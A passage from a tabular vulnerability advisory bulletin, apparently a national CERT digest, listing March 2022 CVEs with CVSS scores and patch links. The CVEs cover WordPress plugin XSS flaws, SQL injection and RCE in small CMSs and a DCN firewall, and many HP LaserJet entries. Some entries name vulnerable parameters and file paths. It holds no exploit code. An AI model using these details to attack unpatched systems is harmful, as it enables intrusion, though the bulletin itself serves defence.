Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Mar-22	5.4	Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities discovered in WP-DownloadManager WordPress plugin (versions <= 1.68.6). Vvulnerable parameters &download_path, &download_path_url, &download_page_url . **CVE ID : CVE-2022-25605**	https://wordpress.org/plugins/wp-downloadmanager/#developers, https://patchstack.com/database/vulnerability/wp-downloadmanager/wordpress-wp-downloadmanager-plugin-1-68-6-multiple-authenticated-stored-cross-site-scripting-	A-WP--WP-D-070422/267

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
				xss-vulnerabilities	
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	5.4	Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities discovered in WP-DownloadManager WordPress plugin (versions <= 1.68.6). Vulnerable parameters &download_path, &download_path_url, &download_page_url, &download_categories. **CVE ID : CVE-2022-25606**	https://wordpress.org/plugins/wp-downloadmanager/#developers, https://patchstack.com/database/vulnerability/wp-downloadmanager/wordpress-wp-downloadmanager-plugin-1-68-5-multiple-authenticated-stored-cross-site-scripting-xss-vulnerabilities	A-WP--WP-D-070422/268
Vendor: wpamelia					
Product: amelia					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	5.4	The Amelia WordPress plugin is vulnerable to Cross-Site Scripting due to insufficient escaping and sanitization of the lastName parameter found in the ~/src/Application/Controller/User/Customer/AddCustomerController.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a	N/A	A-WPA-AMEL-070422/269

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			user accesses the booking calendar with the date the attacker has injected the malicious payload into. This affects versions up to and including 1.0.46. **CVE ID : CVE-2022-0834**		
Vendor: wpdevart					
Product: pricing_table_builder					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	6.1	The Pricing Table Builder WordPress plugin before 1.1.5 does not sanitize and escape the postid parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. **CVE ID : CVE-2022-0640**	https://plugins.trac.wordpress.org/changeset/2684253	A-WPD-PRIC-070422/270
Vendor: xiaohuanxiong_project					
Product: xiaohuanxiong					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	28-Mar-22	9.8	Xiaohuanxiong v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /app/controller/Books.php. **CVE ID : CVE-2022-26268**	N/A	A-XIA-XIAO-070422/271
Vendor: yafu_project					
Product: yafu					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	20-Mar-22	7.5	Yafu v2.0 contains a segmentation fault via the component /factor/avx-ecm/vecarith52.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via unspecified vectors. **CVE ID : CVE-2022-25462**	N/A	A-YAF-YAFU-070422/272
Vendor: yejiao					
Product: tuzicms					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	24-Mar-22	9.8	TuziCMS v2.0.6 was discovered to contain a SQL injection vulnerability via the component App\Manage\Controller\ZhuantiController.class.php. **CVE ID : CVE-2022-26301**	N/A	A-YEJ-TUZI-070422/273
Vendor: yonyou					
Product: u8\+					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	6.1	Yonyou u8 v13.0 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability via the component /u8sl/WebHelp. **CVE ID : CVE-2022-26263**	https://www.yonyou.com/, http://yonyou.com	A-YON-U8\+-070422/274
Vendor: yooslider					
Product: yoo_slider					
Cross-Site Request	23-Mar-22	5.4	Cross-Site Request Forgery (CSRF) in	https://patchstack.com/databa	A-YOO-YOO_-070422/275

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (CSRF)			Yoo Slider – Image Slider & Video Slider (WordPress plugin) allows attackers to trick authenticated users into unwanted slider duplicate or delete action. **CVE ID : CVE-2022-25608**	se/vulnerability/yoo-slider/wordpress-yoo-slider-plugin-2-0-0-cross-site-request-forgery-csrf-vulnerability-leading-to-slider-duplicate-delete, https://wordpress.org/plugins/yoo-slider/#developers	
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	5.4	Stored Cross-Site Scripting (XSS) in Yoo Slider – Image Slider & Video Slider (WordPress plugin) allows attackers with contributor or higher user role to inject the malicious code. **CVE ID : CVE-2022-25609**	https://patchstack.com/database/vulnerability/yoo-slider/wordpress-yoo-slider-plugin-2-0-0-stored-cross-site-scripting-xss-vulnerability, https://wordpress.org/plugins/yoo-slider/#developers	A-YOO-YOO_-070422/276
Vendor: Zulip					
Product: Zulip					
Concurrent Execution using Shared Resource with Improper	16-Mar-22	7.4	Zulip is an open source group chat application. Starting with version 4.0 and prior to version 4.11, Zulip is vulnerable to a race condition	https://github.com/zulip/zulip/commit/62ba8e455d8f460001d9fb486a6dabfd1ed67717, https://github.c	A-ZUL-ZULI-070422/277

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Synchronization ('Race Condition')			during account deactivation, where a simultaneous access by the user being deactivated may, in rare cases, allow continued access by the deactivated user. A patch is available in version 4.11 on the 4.x branch and version 5.0-rc1 on the 5.x branch. Upgrading to a fixed version will, as a side effect, deactivate any cached sessions that may have been leaked through this bug. There are currently no known workarounds. **CVE ID : CVE-2022-24751**	om/zulip/zulip/commit/e6eace307ef435eec3395c99247155efed9219e4, https://github.com/zulip/zulip/security/advisories/GHSA-6v98-m5x5-phqj	
Vendor: zzzcms					
Product: zzzphp					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	23-Mar-22	9.8	ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php. **CVE ID : CVE-2022-23881**	N/A	A-ZZZ-ZZZP-070422/278
Hardware					
Vendor: Apple					
Product: iphone					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced. **CVE ID : CVE-2022-22592**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	H-APP-IPHO-070422/279
Vendor: dcnglobal					
Product: dcme-520					
N/A	18-Mar-22	7.5	DCN Firewall DCME-520 was discovered to contain an arbitrary file download vulnerability via the path parameter in the file /audit/log/log_management.php. **CVE ID : CVE-2022-25389**	N/A	H-DCN-DCME-070422/280
N/A	18-Mar-22	9.8	DCN Firewall DCME-520 was discovered to contain a remote command execution (RCE) vulnerability via the host parameter in the file /system/tool/ping.php.	N/A	H-DCN-DCME-070422/281

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25390		
Vendor: HP					
Product: laserjet_pro_m304-m305_w1a46a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/282
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/283
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/284
Product: laserjet_pro_m304-m305_w1a47a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/285

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/286
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/287
Product: laserjet_pro_m304-m305_w1a48a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/288
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/289

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/290
Product: laserjet_pro_m304-m305_w1a66a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/291
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/292
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/293

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_m404-m405_93m22a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/294
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/295
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/296
Product: laserjet_pro_m404-m405_w1a51a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/297

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/298
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/299
Product: laserjet_pro_m404-m405_w1a52a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/300
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/301

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/302
Product: laserjet_pro_m404-m405_w1a53a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/303
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/304
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/305

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_m404-m405_w1a56a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/306
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/307
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/308
Product: laserjet_pro_m404-m405_w1a57a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/309

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/310
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/311
Product: laserjet_pro_m404-m405_w1a58a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/312
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/313

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/314
Product: laserjet_pro_m404-m405_w1a59a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/315
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/316
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/317

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: laserjet_pro_m404-m405_w1a60a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/318
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/319
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/320
Product: laserjet_pro_m404-m405_w1a63a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/321

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/322
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/323
Product: laserjet_pro_m453-m454_w1y40a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/324
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/325

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/326
Product: laserjet_pro_m453-m454_w1y41a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/327
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/328
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/329

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: laserjet_pro_m453-m454_w1y43a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/330
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/331
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/332
Product: laserjet_pro_m453-m454_w1y44a					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/333
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/334
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/335
Product: laserjet_pro_m453-m454_w1y45a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/336

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/337
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/338
Product: laserjet_pro_m453-m454_w1y46a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/339
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/340

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/341
Product: laserjet_pro_m453-m454_w1y47a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/342
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/343
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/344

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: laserjet_pro_mfp_m428-m429_f_w1a29a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/345
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/346
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/347
Product: laserjet_pro_mfp_m428-m429_f_w1a30a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/348

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24291		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/349
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/350
Product: laserjet_pro_mfp_m428-m429_f_w1a32a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/351
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/352

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24292		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/353
Product: laserjet_pro_mfp_m428-m429_f_w1a34a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/354
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/355
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/356

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24293		
Product: laserjet_pro_mfp_m428-m429_f_w1a35a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/357
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/358
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/359
Product: laserjet_pro_mfp_m428-m429_f_w1a38a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/360

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/361
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/362
Product: laserjet_pro_mfp_m428-m429_w1a28a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/363
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/364

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/365
Product: laserjet_pro_mfp_m428-m429_w1a31a					
